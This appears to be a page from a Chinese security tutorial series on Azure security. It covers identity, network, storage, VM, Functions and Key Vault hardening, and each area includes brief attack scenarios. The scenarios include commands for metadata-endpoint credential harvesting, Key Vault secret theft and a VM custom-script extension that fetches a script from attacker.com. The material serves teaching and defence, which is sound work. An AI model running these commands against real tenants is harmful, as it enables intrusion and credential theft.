公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-141-应用安全总结与展望
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
Day-182-密码学系列总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-060-Azure 安全实战
# Day 58: Azure 安全实战 > Web 安全系列第 28 天 | 预计阅读时间:40 分钟 | 难度:★★★★☆ --- ## 清单 目录 1. [Azure 安全架构](#azure 安全架构) 2. [Azure AD 安全](#azure-ad 安全) 3. [虚拟网络安全](#虚拟网络安全) 4. [存储安全](#存储安全) 5. [虚拟机安全](#虚拟机安全) 6. [函数安全](#函数安全) 7. [Key Vault 安全](#key-vault 安全) 8. [安全监控与合规](#安全监控与合规) 9. [漏洞利用与防护](#漏洞利用与防护) 10. [总结与思考](#总结与思考) 11. [参考资料](#参考资料) --- ## Azure 安全架构 ### Azure 安全责任 **Microsoft 负责**: ``` - 物理设施安全 - 网络基础设施 - 虚拟化层安全 - 基础服务安全 - 全球数据中心 ``` **客户负责**: ``` - 数据安全 - 应用安全 - 身份管理 - 网络安全配置 - 操作系统安全 - 加密密钥管理 ``` ### Azure 安全服务 **身份服务**: ``` Azure AD: - 身份管理 - 单点登录 - 条件访问 - 特权身份管理 Azure AD B2C: - 客户身份 - 社交登录 - 用户旅程 Azure AD DS: - 域服务 - 混合身份 - 组策略 ``` **网络安全**: ``` VNet:虚拟网络 - 私有网络 - 子网划分 - 对等连接 NSG:网络安全组 - 网络安全规则 - 入站/出站规则 - 服务标签 Azure Firewall: - 云原生防火墙 - 威胁智能 - 应用规则 DDoS Protection: - DDoS 防护 - 自动缓解 - 监控告警 ``` **数据安全**: ``` Azure Key Vault: - 密钥管理 - 秘密管理 - 证书管理 Azure Storage Encryption: - 静态加密 - 传输加密 - 客户管理密钥 Azure Information Protection: - 数据分类 - 标签管理 - 权限管理 ``` **监控服务**: ``` Azure Monitor: - 资源监控 - 日志分析 - 告警规则 Azure Security Center: - 安全态势管理 - 威胁防护 - 合规评估 Azure Sentinel: - SIEM 解决方案 - 威胁检测 - 自动响应 Azure Policy: - 策略执行 - 合规检查 - 自动修复 ``` --- ## Azure AD 安全 ### Azure AD 基础 **核心概念**: ``` 租户(Tenant): - 组织实例 - 独立边界 - 资源容器 用户(User): - 人类用户 - 服务主体 - 托管身份 组(Group): - 用户集合 - 动态组 - 安全组 角色(Role): - 权限集合 - 内置角色 - 自定义角色 ``` **许可证类型**: ``` Azure AD Free: - 基本功能 - 用户管理 - 单点登录 Azure AD Premium P1: - 条件访问 - 自助服务 - 组管理 Azure AD Premium P2: - 特权身份管理 - 身份保护 - 风险检测 ``` ### Azure AD 安全配置 **密码策略**: ``` 默认策略: - 最小长度 8 - 复杂度要求 - 90 天更换 增强策略: - 最小长度 14 - 密码历史 24 - 智能锁定 密码保护: - 禁止弱密码 - 自定义禁止列表 - 全球禁止列表 ``` **MFA 配置**: ``` MFA 方法: 1. Microsoft Authenticator - 推送通知 - 验证码 - 无密码 2. 电话 - 语音通话 - 短信验证码 3. 硬件令牌 - OATH 令牌 - FIDO2 密钥 条件访问: - 所有用户启用 - 特权用户强制 - 风险基础 ``` **条件访问**: ``` 策略示例: 1. 要求 MFA - 所有云应用 - 所有用户 - 例外:打破玻璃账户 2. 要求合规设备 - 所有云应用 - 所有用户 - 设备合规 3. 阻止传统认证 - 所有云应用 - 所有用户 - 客户端应用:其他 ``` ### Azure AD 漏洞利用 **权限提升**: ``` 场景 1: 全局管理员 - 完全控制租户 - 创建管理员 - 修改策略 利用: - 钓鱼攻击 - 凭证窃取 - 令牌盗窃 防护: - MFA 强制 - 特权身份管理 - 审计日志 ``` **服务主体滥用**: ``` 场景 2: 服务主体权限过大 - 应用注册 - 高权限 - 凭证泄露 利用: - 窃取凭证 - 模拟应用 - 访问资源 防护: - 最小权限 - 证书轮换 - 托管身份 ``` **目录同步攻击**: ``` 场景 3: AD Connect 凭证泄露 - 混合环境 - 同步账户 - 权限提升 利用: - 窃取凭证 - 修改同步 - 权限提升 防护: - 保护 AD Connect - 监控同步 - 最小权限 ``` ### Azure AD 审计 **审计日志**: ``` 日志类型: 1. 登录日志 - 成功/失败 - 位置信息 - 设备信息 2. 审计日志 - 用户管理 - 组管理 - 应用管理 3. 风险日志 - 用户风险 - 登录风险 - 风险检测 ``` **监控查询**: ```kusto // 失败登录 SigninLogs | where ResultType != 0 | summarize count() by UserPrincipalName, IPAddress // 特权操作 AuditLogs | where Category == "RoleManagement" | project TimeGenerated, OperationName, Actor, Target // 风险登录 RiskyUsers | where RiskLevel != 'none' | project UserPrincipalName, RiskLevel, RiskState ``` --- ## 虚拟网络安全 ### VNet 设计 **最佳实践**: ``` 1. 订阅分离 - 生产/开发分离 - 安全订阅 - 管理订阅 2. 子网划分 - Web 子网 - 应用子网 - 数据库子网 - 网关子网 3. IP 规划 - 避免重叠 - 预留空间 - 文档化 ``` **对等连接**: ``` VNet 对等: - 同一区域 - 低延迟 - 高带宽 全局对等: - 跨区域 - 额外成本 - 复杂配置 最佳实践: - Hub-Spoke 架构 - 集中管理 - 网络虚拟化 ``` ### NSG 配置 **Web 子网 NSG**: ``` 入站: - 允许 80, 443 from Internet - 允许 22 from Bastion - 拒绝其他 出站: - 允许应用子网 - 允许 Azure 服务 - 拒绝其他 ``` **应用子网 NSG**: ``` 入站: - 允许 8080 from Web - 允许 22 from Bastion - 拒绝其他 出站: - 允许数据库子网 - 允许 Azure 服务 - 拒绝其他 ``` **数据库子网 NSG**: ``` 入站: - 允许 3306 from App - 允许 22 from Bastion - 拒绝其他 出站: - 仅允许必要流量 - 拒绝 Internet ``` ### 防火墙配置 **Azure Firewall**: ``` 应用规则: - 允许域名 - FQDN 标签 - 应用协议 网络规则: - IP 地址 - 端口 - 协议 NAT 规则: - 端口转发 - DNAT - 公共 IP ``` **WAF 配置**: ``` OWASP 规则集: - OWASP 3.0 - OWASP 3.1 - 自定义规则 防护模式: - 检测模式 - 预防模式 - 自定义 排除项: - 特定 URL - 特定参数 - 特定头部 ``` --- ## 存储安全 ### 存储账户配置 **访问层级**: ``` 热存储层: - 频繁访问 - 较高存储成本 - 较低访问成本 冷存储层: - 不常访问 - 较低存储成本 - 较高访问成本 归档存储层: - 极少访问 - 最低存储成本 - 最高访问成本 ``` **冗余选项**: ``` LRS(本地冗余): - 同一数据中心 - 3 个副本 - 最低成本 ZRS(区域冗余): - 同一区域 - 3 个数据中心 - 中等成本 GRS(地理冗余): - 跨区域 - 6 个副本 - 较高成本 GZRS(地理区域冗余): - 跨区域 + 区域 - 最高可用 - 最高成本 ``` ### 存储安全配置 **加密配置**: ``` 服务管理密钥: - Microsoft 管理 - 自动轮换 - 默认启用 客户管理密钥: - 客户控制 - Key Vault 集成 - 自带密钥 双重加密: - 服务层加密 - 客户端加密 - 最高安全 ``` **访问控制**: ``` 共享密钥: - 账户密钥 - SAS 令牌 - 不推荐 Azure AD: - 基于身份 - RBAC 集成 - 推荐 共享访问签名: - 有限权限 - 有限时间 - 谨慎使用 ``` ### 存储漏洞利用 **公开容器**: ``` 场景 1: Blob 容器公开 - 敏感数据泄露 - 凭证泄露 - 合规违规 发现: https://account.blob.core.windows.net/container/ 利用: az storage blob download -c container -n file.txt 防护: - 阻止公开访问 - 私有容器 - 定期扫描 ``` **SAS 令牌滥用**: ``` 场景 2: SAS 令牌泄露 - 长期有效 - 权限过大 - 无访问控制 利用: # 使用 SAS 访问 az storage blob download --sas-token "token" 防护: - 短期有效 - 最小权限 - 监控使用 ``` **存储防火墙绕过**: ``` 场景 3: 防火墙配置错误 - 允许所有网络 - 未限制 VNet - 未限制 IP 利用: # 从任意位置访问 az storage account show -n account 防护: - 启用防火墙 - 限制 VNet - 限制 IP ``` --- ## 虚拟机安全 ### 虚拟机安全配置 **安全组配置**: ``` 最佳实践: 1. 最小开放 - 只开放必要端口 - 限制源 IP - 避免 Any 2. 应用安全组 - 逻辑分组 - 简化规则 - 易于管理 3. 定期审查 - 清理未使用 - 验证规则 - 审计变更 ``` **磁盘加密**: ``` Azure Disk Encryption: - BitLocker(Windows) - DM-Crypt(Linux) - Key Vault 集成 服务器端加密: - 默认启用 - Microsoft 管理 - 透明加密 最佳实践: - 启用 ADE - 客户管理密钥 - 定期轮换 ``` **备份配置**: ``` Azure Backup: - 自动备份 - 长期保留 - 异地冗余 备份策略: - 每日备份 - 每周完整 - 每月完整 最佳实践: - 启用备份 - 测试恢复 - 异地存储 ``` ### 虚拟机漏洞利用 **RDP/SSH 暴露**: ``` 场景 1: 管理端口开放 - 暴力破解 - 漏洞利用 - 横向移动 发现: nmap -p 22,3389 target-ip 利用: ssh user@target-ip rdp target-ip 防护: - 使用 Bastion - 限制源 IP - 启用 MFA ``` **元数据服务**: ``` 场景 2: 实例元数据 - 敏感信息 - 凭证泄露 - 配置信息 利用: curl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 防护: - 限制访问 - 监控访问 - 最小权限 ``` **扩展滥用**: ``` 场景 3: 自定义脚本扩展 - 远程执行 - 权限提升 - 持久化 利用: az vm extension set \ --publisher Microsoft.Azure.Extensions \ --name CustomScript \ --version 2.0 \ --settings '{"fileUris":["http://attacker.com/script.sh"]}' 防护: - 限制扩展 - 审批流程 - 监控部署 ``` --- ## 函数安全 ### Azure Functions 安全 **身份认证**: ``` 函数密钥: - 函数级密钥 - 主机级密钥 - 定期轮换 Azure AD 认证: - 基于身份 - RBAC 集成 - 推荐 IP 限制: - 允许列表 - 拒绝列表 - VNet 集成 ``` **网络安全**: ``` VNet 集成: - 出站连接 - 入站限制 - 私有端点 私有端点: - 私有 IP - VNet 内部 - 无公网 最佳实践: - 使用私有端点 - 限制访问 - 监控调用 ``` **依赖安全**: ``` 包管理: - 锁定版本 - 扫描漏洞 - 定期更新 代码审查: - 安全编码 - 秘密扫描 - 代码审计 最佳实践: - 最小依赖 - 定期更新 - 监控漏洞 ``` ### 函数漏洞利用 **权限过大**: ``` 场景 1: 函数身份权限过大 - 访问所有资源 - 管理权限 - 数据泄露 利用: # 修改函数代码 az functionapp deployment source config-zip ... # 执行恶意代码 # 访问敏感数据 防护: - 最小权限 - 托管身份 - 监控调用 ``` **注入攻击**: ``` 场景 2: 输入未验证 - HTTP 触发 - 队列触发 - 存储触发 利用: # SQL 注入 # 命令注入 # XXE 注入 防护: - 输入验证 - 参数化查询 - 安全编码 ``` **供应链攻击**: ``` 场景 3: 第三方依赖 - 恶意包 - 已知漏洞 - 供应链攻击 利用: # 污染依赖 # 植入后门 # 数据窃取 防护: - 锁定依赖 - 扫描漏洞 - 最小依赖 ``` --- ## Key Vault 安全 ### Key Vault 基础 **密钥类型**: ``` 软件密钥: - 软件保护 - 成本较低 - 一般安全 HSM 密钥: - 硬件保护 - FIPS 140-2 - 最高安全 密钥操作: - 加密/解密 - 签名/验证 - 包装/解包 ``` **访问策略**: ``` 密钥权限: - 获取 - 列表 - 创建 - 删除 秘密权限: - 获取 - 列表 - 设置 - 删除 证书权限: - 获取 - 列表 - 创建 - 删除 ``` ### Key Vault 安全配置 **网络访问**: ``` 公共访问: - 所有网络 - 选定网络 - 私有端点 私有端点: - 私有 IP - VNet 内部 - 无公网 最佳实践: - 使用私有端点 - 限制访问 - 监控访问 ``` **访问控制**: ``` 访问策略: - 基于策略 - 细粒度权限 - 传统方式 RBAC: - 基于角色 - Azure AD 集成 - 推荐 最佳实践: - 使用 RBAC - 最小权限 - 定期审查 ``` ### Key Vault 漏洞利用 **访问策略过宽**: ``` 场景 1: 所有人可访问 - 密钥泄露 - 秘密泄露 - 证书泄露 发现: az keyvault show -n vault-name 利用: az keyvault secret show --vault-name vault-name --name secret-name 防护: - 限制访问 - 使用 RBAC - 监控访问 ``` **密钥泄露**: ``` 场景 2: 密钥硬编码 - 代码泄露 - 凭证泄露 - 资源访问 发现: - GitHub 扫描 - 代码审查 - 秘密扫描 利用: # 使用密钥访问资源 # 解密数据 # 签名请求 防护: - 使用托管身份 - 定期轮换 - 秘密扫描 ``` **备份泄露**: ``` 场景 3: 备份未保护 - 密钥备份 - 秘密备份 - 恢复删除 利用: # 恢复删除的密钥 # 访问备份 # 获取密钥 防护: - 启用软删除 - 启用清除保护 - 限制访问 ``` --- ## 安全监控与合规 ### Azure Monitor **日志配置**: ``` 诊断设置: - 资源日志 - 指标日志 - 审计日志 Log Analytics: - 集中存储 - 查询分析 - 告警规则 最佳实践: - 启用所有日志 - 集中存储 - 长期保留 ``` **告警规则**: ``` 指标告警: - CPU 使用率 - 内存使用率 - 网络流量 日志告警: - 登录失败 - 配置变更 - 安全事件 操作告警: - 自动响应 - Logic Apps - 函数触发 ``` ### Security Center **安全态势**: ``` 安全分数: - 总体分数 - 按资源 - 按建议 建议: - 高优先级 - 中优先级 - 低优先级 修复: - 手动修复 - 自动修复 - 跟踪进度 ``` **威胁防护**: ``` 虚拟机防护: - 恶意软件 - 漏洞 - 配置 容器防护: - 镜像扫描 - 运行时防护 - 注册表扫描 SQL 防护: - SQL 注入 - 异常访问 - 漏洞检测 ``` ### 合规管理 **合规标准**: ``` 内置计划: - CIS Benchmark - ISO 27001 - PCI DSS - HIPAA - GDPR 自定义计划: - 组织要求 - 行业标准 - 特定合规 ``` **合规报告**: ``` 合规仪表板: - 总体合规 - 按标准 - 按资源 审计报告: - 合规状态 - 不合规资源 - 修复建议 持续监控: - 自动评估 - 实时状态 - 告警通知 ``` --- ## 漏洞利用与防护 ### 常见攻击场景 **场景 1: 凭证泄露**: ``` 攻击链: 1. GitHub 扫描 - 搜索硬编码凭证 - 公开仓库 - 历史提交 2. 凭证利用 - 访问 Azure 资源 - 提升权限 - 数据窃取 防护: - 使用 Key Vault - 定期轮换 - 监控使用 ``` **场景 2: 钓鱼攻击**: ``` 攻击链: 1. 钓鱼邮件 - 伪造登录页面 - 窃取凭证 - MFA 疲劳 2. 访问资源 - 登录 Azure - 访问资源 - 横向移动 防护: - MFA 强制 - 条件访问 - 用户培训 ``` **场景 3: 存储桶泄露**: ``` 攻击链: 1. 发现公开存储 - 自动化扫描 - 子域名枚举 - 证书透明度 2. 数据窃取 - 下载数据 - 凭证泄露 - 合规违规 防护: - 阻止公开访问 - 存储策略限制 - 定期扫描 ``` ### 安全加固 **立即行动**: ``` 1. 启用 MFA - 所有用户 - 特权用户强制 - 条件访问 2. 保护根账户 - 打破玻璃账户 - 安全存储 - 监控使用 3. 启用日志 - Azure Monitor - Security Center - Sentinel ``` **短期改进**: ``` 1. 权限审查 - 未使用权限 - 过度权限 - 权限提升 2. 网络加固 - NSG 审查 - 防火墙配置 - VNet 设计 3. 数据保护 - 加密启用 - 备份配置 - 访问控制 ``` **长期规划**: ``` 1. 安全架构 - 多订阅策略 - 网络分段 - 数据分类 2. 自动化安全 - 基础设施即代码 - 策略即代码 - 自动合规 3. 持续监控 - 安全态势 - 威胁检测 - 事件响应 ``` --- ## 总结与思考 ### 核心要点回顾 1. **身份安全** - Azure AD 配置 - MFA 启用 - 条件访问 2. **网络安全** - VNet 设计 - NSG 配置 - 防火墙规则 3. **数据安全** - 加密存储 - Key Vault - 访问控制 ### 深入思考问题 1. **混合云安全**? - 本地 + 云 - 身份同步 - 策略一致 2. **多云安全**? - Azure + AWS - 统一管理 - 工具集成 3. **零信任架构**? - 持续验证 - 微隔离 - 动态授权 ### 实战建议 **云架构师**: 1. 安全设计 2. 最佳实践 3. 合规要求 4. 成本优化 **安全人员**: 1. 持续监控 2. 事件响应 3. 漏洞管理 4. 合规审计 **开发人员**: 1. 安全编码 2. 凭证管理 3. 依赖管理 4. 安全测试 --- ## 参考资料 ### 学习资源 - [Azure Security Documentation](https://docs.microsoft.com/en-us/azure/security/) - [Azure Well-Architected Framework](https://docs.microsoft.com/en-us/azure/architecture/framework/) - [Azure Security Blog](https://techcommunity.microsoft.com/t5/microsoft-security-and/bg-p/MicrosoftSecurity) ### 工具资源 - [Azure Security Center](https://azure.microsoft.com/en-us/services/security-center/) - [Azure Sentinel](https://azure.microsoft.com/en-us/services/azure-sentinel/) - [Pacu Azure](https://github.com/RhinoSecurityLabs/pacu) ### 书籍推荐 - 《Azure 安全最佳实践》 - 《Practical Azure Security》 - 《Azure Security》 - 《Cloud Security and Privacy》 ### 在线资源 - [Azure Security Benchmark](https://docs.microsoft.com/en-us/azure/security/benchmarks/) - [CIS Azure Benchmark](https://www.cisecurity.org/benchmark/microsoft_azure/) - [OWASP Cloud Security](https://owasp.org/www-project-cloud-security/) --- **标记 明日预告**:Day 59 - GCP 安全实战 > 本文内容仅供学习和研究使用,请勿用于非法目的。所有实验请在隔离环境中进行。 --- *本文是 365 天信息安全技术系列的第 58 篇,Web 安全部分第 28 篇,精编版本*
myh0st
2026年4月13日 23:15
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码